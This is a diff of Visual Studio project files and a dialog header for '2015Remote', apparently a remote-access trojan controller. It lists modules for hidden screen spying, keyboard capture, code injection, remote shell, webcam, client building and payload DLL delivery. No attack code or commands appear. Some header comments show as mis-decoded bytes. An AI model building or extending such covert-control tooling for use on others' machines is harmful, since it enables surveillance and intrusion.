<UniqueIdentifier>{7384a2b0-7e54-4b4f-8f1e-399a170b0893}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="设置Dlg">
|
||||
<UniqueIdentifier>{13f8046a-69f8-4f11-a24b-6bc31c195200}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="通信类">
|
||||
<UniqueIdentifier>{b8c1bcef-f319-4d72-be70-99c37a83bf9a}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="CPU">
|
||||
<UniqueIdentifier>{247eff7d-6fd0-43dd-8c7e-263aad0eed5b}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="缓冲区">
|
||||
<UniqueIdentifier>{89df7039-00e9-4694-91f8-fc5f023e6321}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程控制">
|
||||
<UniqueIdentifier>{5264e449-f09b-420d-9c72-ff8151bee746}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程文件">
|
||||
<UniqueIdentifier>{52707111-f42b-41c9-b02d-ded6b27a2b7e}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="即时消息">
|
||||
<UniqueIdentifier>{b8b47b31-1b3f-420a-aebd-f9f6aef16177}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程终端">
|
||||
<UniqueIdentifier>{98bb3949-95d3-4ae1-9e7a-51344815555a}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程系统管理">
|
||||
<UniqueIdentifier>{ba31583e-3d2b-4f34-ac0f-9589567fccd9}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程音频">
|
||||
<UniqueIdentifier>{b3a92075-6f32-4114-8c59-b0fb0042ed03}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="生成客户端">
|
||||
<UniqueIdentifier>{604ae8b3-7d79-4ba3-955d-8244c26c9218}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程注册表">
|
||||
<UniqueIdentifier>{9cd8e611-2137-4553-b9a9-121877b5e33c}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程服务">
|
||||
<UniqueIdentifier>{99dc4626-9f3c-4a3f-bfbd-03c6748fe053}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="远程视频">
|
||||
<UniqueIdentifier>{4fbc083b-8252-4012-836d-6757122c7de7}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="res\My2015Remote.rc2">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\2015Remote.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Bitmap\Online.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\bitmap\toolbar1.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\bitmap\bmp00001.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Cur\Drag.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\Cur\MutiDrag.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\icon1.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\cmdshell.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\audio.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\file.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\pc.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\dword.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\string.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\4.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\2.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\3.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\1.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\cursor5.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\arrow.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="2015Remote.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Resource.h">
|
||||
<Filter>主Dlg</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="TrueColorToolBar.h">
|
||||
<Filter>真彩Bar</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="SettingDlg.h">
|
||||
<Filter>设置Dlg</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="iniFile.h">
|
||||
<Filter>设置Dlg</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IOCPServer.h">
|
||||
<Filter>通信类</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CpuUseage.h">
|
||||
<Filter>CPU</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zlib.h">
|
||||
<Filter>缓冲区</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zconf.h">
|
||||
<Filter>缓冲区</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Buffer.h">
|
||||
<Filter>缓冲区</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ScreenSpyDlg.h">
|
||||
<Filter>远程控制</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileManagerDlg.h">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EditDialog.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="2015RemoteDlg.h">
|
||||
<Filter>主Dlg</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileTransferModeDlg.h">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="TalkDlg.h">
|
||||
<Filter>即时消息</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ShellDlg.h">
|
||||
<Filter>远程终端</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="SystemDlg.h">
|
||||
<Filter>远程系统管理</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="AudioDlg.h">
|
||||
<Filter>远程音频</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="BuildDlg.h">
|
||||
<Filter>生成客户端</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegisterDlg.h">
|
||||
<Filter>远程注册表</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ServicesDlg.h">
|
||||
<Filter>远程服务</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="VideoDlg.h">
|
||||
<Filter>远程视频</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Audio.h">
|
||||
<Filter>远程音频</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="InputDlg.h">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="2015Remote.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="2015RemoteDlg.cpp">
|
||||
<Filter>主Dlg</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="TrueColorToolBar.cpp">
|
||||
<Filter>真彩Bar</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SettingDlg.cpp">
|
||||
<Filter>设置Dlg</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="iniFile.cpp">
|
||||
<Filter>设置Dlg</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IOCPServer.cpp">
|
||||
<Filter>通信类</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CpuUseage.cpp">
|
||||
<Filter>CPU</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Buffer.cpp">
|
||||
<Filter>缓冲区</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ScreenSpyDlg.cpp">
|
||||
<Filter>远程控制</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileManagerDlg.cpp">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EditDialog.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileTransferModeDlg.cpp">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="TalkDlg.cpp">
|
||||
<Filter>即时消息</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellDlg.cpp">
|
||||
<Filter>远程终端</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SystemDlg.cpp">
|
||||
<Filter>远程系统管理</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="AudioDlg.cpp">
|
||||
<Filter>远程音频</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="BuildDlg.cpp">
|
||||
<Filter>生成客户端</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegisterDlg.cpp">
|
||||
<Filter>远程注册表</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ServicesDlg.cpp">
|
||||
<Filter>远程服务</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="VideoDlg.cpp">
|
||||
<Filter>远程视频</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Audio.cpp">
|
||||
<Filter>远程音频</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="InputDlg.cpp">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\toolbar1.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\Bitmap_4.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\toolbar2.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\Bitmap_5.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\webcam.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -1,3 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
</Project>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -125,7 +125,7 @@ protected:
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
public:
|
||||
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CMy2015RemoteDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
~CMy2015RemoteDlg();
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
||||
@@ -147,7 +147,18 @@ public:
|
||||
void SortByColumn(int nColumn);
|
||||
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||
template<class T, int id, int Show=SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
|
||||
Dlg->Create(id, GetDesktopWindow());
|
||||
Dlg->ShowWindow(Show);
|
||||
|
||||
ContextObject->hWnd = Dlg->GetSafeHwnd();
|
||||
ContextObject->hDlg = Dlg;
|
||||
|
||||
return 0;
|
||||
}
|
||||
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
|
||||
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
|
||||
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
|
||||
@@ -158,15 +169,15 @@ public:
|
||||
VOID CreateNotifyBar();
|
||||
VOID CreateSolidMenu();
|
||||
BOOL ListenPort();
|
||||
BOOL Activate(int nPort,int nMaxConnection);
|
||||
BOOL Activate(const std::string& nPort,int nMaxConnection);
|
||||
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
|
||||
void SendMasterSettings(CONTEXT_OBJECT* ctx);
|
||||
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
|
||||
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
||||
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
|
||||
MasterSettings m_settings;
|
||||
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
|
||||
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength);
|
||||
// <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
@@ -182,7 +193,6 @@ public:
|
||||
std::vector<DllInfo*> m_DllList;
|
||||
NOTIFYICONDATA m_Nid;
|
||||
HANDLE m_hExit;
|
||||
IOCPServer* m_iocpServer;
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
CMenu m_MainMenu;
|
||||
@@ -231,6 +241,8 @@ public:
|
||||
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
@@ -250,4 +262,5 @@ public:
|
||||
afx_msg void OnOnlineAuthorize();
|
||||
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnOnlineUnauthorize();
|
||||
afx_msg void OnToolRequestAuth();
|
||||
};
|
||||
|
||||
@@ -260,20 +260,23 @@
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="CDrawingBoard.h" />
|
||||
<ClInclude Include="Chat.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="CpuUseage.h" />
|
||||
<ClInclude Include="CTextDlg.h" />
|
||||
<ClInclude Include="DateVerify.h" />
|
||||
<ClInclude Include="DecryptDlg.h" />
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="file\CFileListCtrl.h" />
|
||||
<ClInclude Include="file\CFileManagerDlg.h" />
|
||||
<ClInclude Include="file\CFileTransferModeDlg.h" />
|
||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="IOCPUDPServer.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
<ClInclude Include="parse_ip.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||
@@ -283,6 +286,7 @@
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
@@ -319,17 +323,21 @@
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="CDrawingBoard.cpp" />
|
||||
<ClCompile Include="Chat.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="CpuUseage.cpp" />
|
||||
<ClCompile Include="CTextDlg.cpp" />
|
||||
<ClCompile Include="DecryptDlg.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="file\CFileListCtrl.cpp" />
|
||||
<ClCompile Include="file\CFileManagerDlg.cpp" />
|
||||
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
<ClCompile Include="Loader.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
@@ -337,7 +345,6 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="parse_ip.cpp" />
|
||||
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
||||
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
|
||||
<ClCompile Include="pwd_gen.cpp">
|
||||
@@ -375,6 +382,7 @@
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
@@ -388,6 +396,14 @@
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\DrawingBoard.ico" />
|
||||
<Image Include="res\file\FILE.ico" />
|
||||
<Image Include="res\file\Icon_A.ico" />
|
||||
<Image Include="res\file\Icon_C.ico" />
|
||||
<Image Include="res\file\Icon_D.ico" />
|
||||
<Image Include="res\file\Icon_E.ico" />
|
||||
<Image Include="res\file\Icon_F.ico" />
|
||||
<Image Include="res\file\Icon_G.ico" />
|
||||
<Image Include="res\icon2.ico" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
|
||||
197
server/2015Remote/2015Remote_vs2015.vcxproj.filters
Normal file
197
server/2015Remote/2015Remote_vs2015.vcxproj.filters
Normal file
@@ -0,0 +1,197 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\client\Audio.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c" />
|
||||
<ClCompile Include="..\..\common\aes.c" />
|
||||
<ClCompile Include="2015Remote.cpp" />
|
||||
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="Chat.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="CTextDlg.cpp" />
|
||||
<ClCompile Include="DecryptDlg.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
<ClCompile Include="Loader.c" />
|
||||
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
||||
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
|
||||
<ClCompile Include="pwd_gen.cpp" />
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="SortListCtrl.cpp" />
|
||||
<ClCompile Include="stdafx.cpp" />
|
||||
<ClCompile Include="SystemDlg.cpp" />
|
||||
<ClCompile Include="sys\CCreateTaskDlg.cpp" />
|
||||
<ClCompile Include="sys\CInjectCodeDlg.cpp" />
|
||||
<ClCompile Include="sys\MachineDlg.cpp" />
|
||||
<ClCompile Include="sys\ServiceInfoDlg.cpp" />
|
||||
<ClCompile Include="TalkDlg.cpp" />
|
||||
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||
<ClCompile Include="VideoDlg.cpp" />
|
||||
<ClCompile Include="file\CFileManagerDlg.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\CFileTransferModeDlg.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\CFileListCtrl.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||
<ClCompile Include="CDrawingBoard.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
<ClInclude Include="..\..\client\MemoryModule.h" />
|
||||
<ClInclude Include="..\..\common\aes.h" />
|
||||
<ClInclude Include="..\..\common\encrypt.h" />
|
||||
<ClInclude Include="..\..\common\iniFile.h" />
|
||||
<ClInclude Include="2015Remote.h" />
|
||||
<ClInclude Include="2015RemoteDlg.h" />
|
||||
<ClInclude Include="adapter.h" />
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="Chat.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="CTextDlg.h" />
|
||||
<ClInclude Include="DateVerify.h" />
|
||||
<ClInclude Include="DecryptDlg.h" />
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||
<ClInclude Include="proxy\ProxyMapDlg.h" />
|
||||
<ClInclude Include="proxy\SocketInterface.h" />
|
||||
<ClInclude Include="pwd_gen.h" />
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="SortListCtrl.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="SystemDlg.h" />
|
||||
<ClInclude Include="sys\CCreateTaskDlg.h" />
|
||||
<ClInclude Include="sys\CInjectCodeDlg.h" />
|
||||
<ClInclude Include="sys\MachineDlg.h" />
|
||||
<ClInclude Include="sys\ServiceInfoDlg.h" />
|
||||
<ClInclude Include="TalkDlg.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
<ClInclude Include="VideoDlg.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
<ClInclude Include="file\CFileManagerDlg.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="file\CFileTransferModeDlg.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="file\CFileListCtrl.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IOCPUDPServer.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
<ClInclude Include="CDrawingBoard.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\icon2.ico" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\proxifler.ico" />
|
||||
<Image Include="res\proxy.ico" />
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\update.bmp" />
|
||||
<Image Include="res\webcam.ico" />
|
||||
<Image Include="res\file\FILE.ico" />
|
||||
<Image Include="res\file\Icon_A.ico" />
|
||||
<Image Include="res\file\Icon_C.ico" />
|
||||
<Image Include="res\file\Icon_D.ico" />
|
||||
<Image Include="res\file\Icon_E.ico" />
|
||||
<Image Include="res\file\Icon_F.ico" />
|
||||
<Image Include="res\file\Icon_G.ico" />
|
||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||
<Image Include="res\DrawingBoard.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\Release\TinyRun.dll" />
|
||||
<None Include="..\..\x64\Release\ghost.exe" />
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
